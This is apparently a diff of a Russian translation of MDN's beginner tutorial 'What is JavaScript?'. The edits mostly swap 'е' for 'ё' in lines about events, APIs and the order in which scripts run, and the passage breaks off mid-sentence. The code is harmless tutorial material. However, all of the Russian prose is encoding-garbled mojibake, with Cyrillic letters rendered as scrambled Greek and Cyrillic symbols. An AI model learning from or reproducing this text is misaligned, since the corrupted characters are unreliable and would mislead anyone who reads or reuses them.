-<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΠΎ тСксту Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ (Π’Ρ‹ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ это Π΄Π΅ΠΌΠΎ Π½Π° GitHub β€” смотритС <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/javascript-label.html">исходный ΠΊΠΎΠ΄</a>, ΠΈΠ»ΠΈ <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/javascript-label.html">запуститС Π²ΠΆΠΈΠ²ΡƒΡŽ</a>)!</p>
+<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΠΎ тСксту Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ (Π’Ρ‹ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ это Π΄Π΅ΠΌΠΎ Π½Π° GitHub β€” смотритС <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/javascript-label.html">исходный ΠΊΠΎΠ΄</a>, ΠΈΠ»ΠΈ <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/javascript-label.html">запуститС Π²ΠΆΠΈΠ²ΡƒΡŽ</a>)!</p>
<p>JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС β€” Π΄Π°Π²Π°ΠΉΡ‚Π΅ выясним это Π±ΠΎΠ»Π΅Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ.</p>
@@ -84,11 +84,11 @@ function updateName() {
<ul>
<li>Π₯Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅, ΠΌΡ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π»ΠΈ Π²Π²ΠΎΠ΄ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½ΡƒΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ввСсти, Π·Π°Ρ‚Π΅ΠΌ сохраняли имя Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>name</code>.</li>
<li>ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π½Π°Π΄ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ тСкстов (извСстными Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΊΠ°ΠΊ "строки"). Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ Π±Ρ€Π°Π»ΠΈ строку "Player 1: " ΠΈ присоСдинили Π΅Ρ‘ ΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>name</code> для получСния ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ тСкста, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: ''Player 1: Chris".</li>
- <li>Π—Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π² соотвСтствии с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ событиями происходящими Π½Π° web страницС. Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅, ΠΌΡ‹ использовали {{Event("click")}} событиС, для опрСдСлСния ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΠ³Π΄Π° ΠΊΠ½ΠΎΠΏΠΊΠ° Π±Ρ‹Π»Π° ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚Π°, Π² соотвСтствии с этим запускался ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ обновлял тСкст.</li>
+ <li>Π—Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π² соотвСтствии с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ событиями происходящими Π½Π° web страницС. Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅, ΠΌΡ‹ использовали {{Event("click")}} событиС, для опрСдСлСния ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΠ³Π΄Π° ΠΊΠ½ΠΎΠΏΠΊΠ° Π±Ρ‹Π»Π° ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚Π°, Π² соотвСтствии с этим запускался ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ обновлял тСкст.</li>
<li>И ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅!</li>
</ul>
-<p>Π•Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ ΡƒΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, созданная ΠΏΠΎΠ²Π΅Ρ€Ρ… основного языка JavaScript. Π’Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ интСрфСйсы ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Π½ΠΎΠ³ΠΎ программирования (API) ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π²Π°ΠΌ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ свСрхспособности для использования Π² вашСм ΠΊΠΎΠ΄Π΅ JavaScript.</p>
+<p>Π•Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ ΡƒΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, созданная ΠΏΠΎΠ²Π΅Ρ€Ρ… основного языка JavaScript. Π’Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ интСрфСйсы ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Π½ΠΎΠ³ΠΎ программирования (API) ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π²Π°ΠΌ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ свСрхспособности для использования Π² вашСм ΠΊΠΎΠ΄Π΅ JavaScript.</p>
<p>API - это Π³ΠΎΡ‚ΠΎΠ²Ρ‹Π΅ Π½Π°Π±ΠΎΡ€Ρ‹ Π±Π»ΠΎΠΊΠΎΠ² ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π±Ρ‹Π»ΠΎ Π±Ρ‹ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΈΠ»ΠΈ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Они Π΄Π΅Π»Π°ΡŽΡ‚ Ρ‚ΠΎ ΠΆΠ΅ самоС для программирования, Ρ‡Ρ‚ΠΎ Π³ΠΎΡ‚ΠΎΠ²Ρ‹Π΅ ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡ‚Ρ‹ ΠΌΠ΅Π±Π΅Π»ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ для домашнСго ΡΡ‚Ρ€ΠΎΠΈΡ‚Π΅Π»ΡŒΡΡ‚Π²Π° - Π³ΠΎΡ€Π°Π·Π΄ΠΎ ΠΏΡ€ΠΎΡ‰Π΅ Π±Ρ€Π°Ρ‚ΡŒ Π³ΠΎΡ‚ΠΎΠ²Ρ‹Π΅ ΠΏΠ°Π½Π΅Π»ΠΈ ΠΈ ΡΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… вмСстС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠ½ΠΈΠΆΠ½ΡƒΡŽ ΠΏΠΎΠ»ΠΊΡƒ, Ρ‡Π΅ΠΌ самому Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Π΄ΠΈΠ·Π°ΠΉΠ½, Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π² поисках ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ дрСвСсины, Π²Ρ‹Ρ€Π΅Π·Π°Ρ‚ΡŒ всС ΠΏΠ°Π½Π΅Π»ΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΈ Ρ„ΠΎΡ€ΠΌΡ‹, Π½Π°ΠΉΡ‚ΠΈ подходящиС Π²ΠΈΠ½Ρ‚Ρ‹, Π° Π·Π°Ρ‚Π΅ΠΌ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΈΡ… вмСстС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠ½ΠΈΠΆΠ½ΡƒΡŽ ΠΏΠΎΠ»ΠΊΡƒ.</p>
@@ -120,13 +120,13 @@ function updateName() {
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π­Ρ‚ΠΈ API-ΠΈΒ <span style="background-color: #f6d5d9;">ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΌΠΈ</span>, ΠΈ ΠΌΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡ… Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ Π² нашСм курсС, Π½ΠΎ ссылки, Π΄Π°Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ ΠΏΠΎΠ»Π½ΡƒΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ, Ссли Π²Ρ‹ заинтСрСсованы Π² Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</p>
</div>
-<p>Доступно Π΅Ρ‰Π΅ большС! Но ΠΏΠΎΠΊΠ° Π½Π΅ заостряйтС Π½Π° этом Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅. Π’Ρ‹ Π½Π΅ смоТСтС ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Facebook, Google Maps ΠΈΠ»ΠΈ Instagram послС 24 часов изучСния JavaScript β€” сначала Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ основы. И ΠΈΠΌΠ΅Π½Π½ΠΎ для этого Π²Ρ‹ здСсь β€” Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС!</p>
+<p>Доступно Π΅Ρ‰Ρ‘ большС! Но ΠΏΠΎΠΊΠ° Π½Π΅ заостряйтС Π½Π° этом Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅. Π’Ρ‹ Π½Π΅ смоТСтС ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Facebook, Google Maps ΠΈΠ»ΠΈ Instagram послС 24 часов изучСния JavaScript β€” сначала Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ основы. И ΠΈΠΌΠ΅Π½Π½ΠΎ для этого Π²Ρ‹ здСсь β€” Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС!</p>
<h2 id="Π§Ρ‚ΠΎ_JavaScript_Π΄Π΅Π»Π°Π΅Ρ‚_Π½Π°_вашСй_страницС">Π§Ρ‚ΠΎ JavaScript Π΄Π΅Π»Π°Π΅Ρ‚ Π½Π° вашСй страницС?</h2>
<p>Π’ этой Π³Π»Π°Π²Π΅ ΠΌΡ‹ рассмотрим ΠΊΠΎΠ΄ ΠΈ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ Ρ‡Ρ‚ΠΎ ΠΆΠ΅ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° Π½Π° страницС запускаСтся JavaScript.</p>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ составим ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ Π±Ρ€ΠΈΡ„, Ρ‡Ρ‚ΠΎ ΠΆΠ΅ происходит ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌ страничку Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ (ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π½ΠΈΠ΅ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_does_CSS_actually_work">Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ CSS</a>). Когда Π²Ρ‹ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚Π΅ страничку Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π²Ρ‹ запускаСтС ваш ΠΊΠΎΠ΄ (HTML, CSSΒ ΠΈΒ JavaScript) Π²Π½ΡƒΡ‚Ρ€ΠΈ исполняСмой срСды (Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°). Π­Ρ‚ΠΎ ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ Ρ„Π°Π±Ρ€ΠΈΠΊΠ° Π±Π΅Ρ€Π΅Ρ‚ ΡΡ‹Ρ€ΡŒΡ‘ (Π½Π΅ΠΊΠΈΠΉ ΠΊΠΎΠ΄) ΠΈ Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ†ΠΈΡŽ (Π²Π΅Π±-страничку).</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ составим ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ Π±Ρ€ΠΈΡ„, Ρ‡Ρ‚ΠΎ ΠΆΠ΅ происходит ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌ страничку Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ (ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π½ΠΈΠ΅ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_does_CSS_actually_work">Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ CSS</a>). Когда Π²Ρ‹ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚Π΅ страничку Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π²Ρ‹ запускаСтС ваш ΠΊΠΎΠ΄ (HTML, CSSΒ ΠΈΒ JavaScript) Π²Π½ΡƒΡ‚Ρ€ΠΈ исполняСмой срСды (Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°). Π­Ρ‚ΠΎ ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ Ρ„Π°Π±Ρ€ΠΈΠΊΠ° Π±Π΅Ρ€Π΅Ρ‚ ΡΡ‹Ρ€ΡŒΡ‘ (Π½Π΅ΠΊΠΈΠΉ ΠΊΠΎΠ΄) ΠΈ Π²Ρ‹Π΄Π°Ρ‘Ρ‚ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ†ΠΈΡŽ (Π²Π΅Π±-страничку).</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/13504/execution.png" style="display: block; margin: 0 auto;"></p>
@@ -144,7 +144,7 @@ function updateName() {
<h3 id="ΠŸΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ_выполнСния_JavaScript">ΠŸΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ выполнСния JavaScript</h3>
-<p>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ сталкиваСтся с Π±Π»ΠΎΠΊΠΎΠΌ JavaScript, ΠΎΠ½ запускаСт Π΅Π³ΠΎ ΠΏΠΎ порядку, свСрху Π²Π½ΠΈΠ·. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ остороТно Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ порядок. НапримСр, вСрнСмся ΠΊ Π±Π»ΠΎΠΊΡƒ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅:</p>
+<p>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ сталкиваСтся с Π±Π»ΠΎΠΊΠΎΠΌ JavaScript, ΠΎΠ½ запускаСт Π΅Π³ΠΎ ΠΏΠΎ порядку, свСрху Π²Π½ΠΈΠ·. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ остороТно Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ порядок. НапримСр, вСрнёмся ΠΊ Π±Π»ΠΎΠΊΡƒ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅:</p>
<pre>const para = document.querySelector('p');
@@ -157,7 +157,7 @@ function updateName() {
<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅ΠΌ Π°Π±Π·Π°Ρ† тСкста (строка 1), Π° Π·Π°Ρ‚Π΅ΠΌ добавляСм ΠΊ Π½Π΅ΠΌΡƒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ событий (строка 3), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° этот Π°Π±Π·Π°Ρ† выполнялся Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° <code>updateName()</code> (строки 5–8). Π‘Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° <code>updateName()</code> (эти Ρ‚ΠΈΠΏΡ‹ <span id="result_box" lang="ru"><span>ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ² ΠΊΠΎΠ΄Π°</span></span> Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ "Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ") Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½ΠΎΠ²ΠΎΠ΅ имя, Π° Π·Π°Ρ‚Π΅ΠΌ вставляСт это имя Π² Π°Π±Π·Π°Ρ† для обновлСния отобраТСния.</p>
-<p>Если Π²Ρ‹ помСняСтС порядок ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Π΄Π²ΡƒΡ… строк ΠΊΠΎΠ΄Π°, ΠΎΠ½ пСрСстанСт Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ β€” вмСсто этого Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒΒ <span id="result_box" lang="ru"><span>Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡƒΡŽ Π² консоль Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span></span> β€” <code>TypeError: para is undefined</code>. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>para</code> Π΅Ρ‰Π΅ Π½Π΅ сущСствуСт ΠΈ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊ Π½Π΅ΠΌΡƒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ событий.</p>
+<p>Если Π²Ρ‹ помСняСтС порядок ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Π΄Π²ΡƒΡ… строк ΠΊΠΎΠ΄Π°, ΠΎΠ½ пСрСстанСт Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ β€” вмСсто этого Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒΒ <span id="result_box" lang="ru"><span>Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡƒΡŽ Π² консоль Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span></span> β€” <code>TypeError: para is undefined</code>. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>para</code> Π΅Ρ‰Ρ‘ Π½Π΅ сущСствуСт ΠΈ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊ Π½Π΅ΠΌΡƒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ событий.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ частая ошибка β€” Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ остороТны, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ссылаСтся ваш ΠΊΠΎΠ΄, сущСствовали Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ с Π½ΠΈΠΌΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</p>
@@ -177,7 +177,7 @@ function updateName() {
<p>Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, сСрвСрный ΠΊΠΎΠ΄ запускаСтся Π½Π° сСрвСрС, Π·Π°Ρ‚Π΅ΠΌ Π΅Π³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ΡΡ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ популярных сСрвСрных Π²Π΅Π±-языков Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ PHP, Python, Ruby ΠΈ ASP.NET. И JavaScript! JavaScript Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, ΠΊΠ°ΠΊ сСрвСрный язык, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² популярной срСдС Node.js β€” Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ большС ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ сСрвСрном JavaScript Π² нашСм Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="/en-US/docs/Learn/Server-side">Dynamic Websites – Server-side programming</a>.</p>
-<p>Π‘Π»ΠΎΠ²ΠΎ <strong>динамичСский</strong> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для описания ΠΈ клиСнтского JavaScript, ΠΈ сСрвСрного языка β€” это относится ΠΊ возмоТности обновлСния отобраТСния Π²Π΅Π±-страницы/прилоТСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… ΠΎΠ±ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΡΡ‚Π²Π°Ρ…, гСнСрируя Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΏΠΎ 